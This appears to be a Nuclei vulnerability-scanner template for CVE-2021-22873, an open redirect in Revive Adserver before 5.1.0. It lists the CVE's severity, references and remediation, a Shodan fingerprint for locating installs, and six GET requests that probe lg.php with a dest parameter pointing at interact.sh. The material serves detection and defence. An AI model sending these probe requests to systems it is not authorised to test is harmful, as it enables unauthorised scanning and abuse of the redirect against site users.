52 lines
2.3 KiB
YAML
52 lines
2.3 KiB
YAML
id: CVE-2021-22873
|
|
|
|
info:
|
|
name: Revive Adserver <5.1.0 - Open Redirect
|
|
author: pudsec
|
|
severity: medium
|
|
description: Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
remediation: |
|
|
Upgrade Revive Adserver to version 5.1.0 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://hackerone.com/reports/1081406
|
|
- https://github.com/revive-adserver/revive-adserver/issues/1068
|
|
- http://seclists.org/fulldisclosure/2021/Jan/60
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22873
|
|
- http://packetstormsecurity.com/files/161070/Revive-Adserver-5.0.5-Cross-Site-Scripting-Open-Redirect.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-22873
|
|
cwe-id: CWE-601
|
|
epss-score: 0.00922
|
|
epss-percentile: 0.81207
|
|
cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 6
|
|
vendor: revive-adserver
|
|
product: revive_adserver
|
|
shodan-query: http.favicon.hash:106844876
|
|
tags: hackerone,seclists,packetstorm,cve2021,redirect,revive,cve
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh"
|
|
- "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh"
|
|
- "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh"
|
|
- "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh"
|
|
- "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh"
|
|
- "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"
|
|
|
|
stop-at-first-match: true
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
matchers:
|
|
- type: regex
|
|
part: header
|
|
regex:
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
|
|
|
|
# digest: 490a00463044022064fbbb741024eb899a558068509bad069d998351de559b5dc05382495cd02bfc02206c31e2823ef35ccf4b7a0566d4045f44d9aa93e47c0d8c7c6a33f1ebf676b248:922c64590222798bb761d5b6d8e72950
|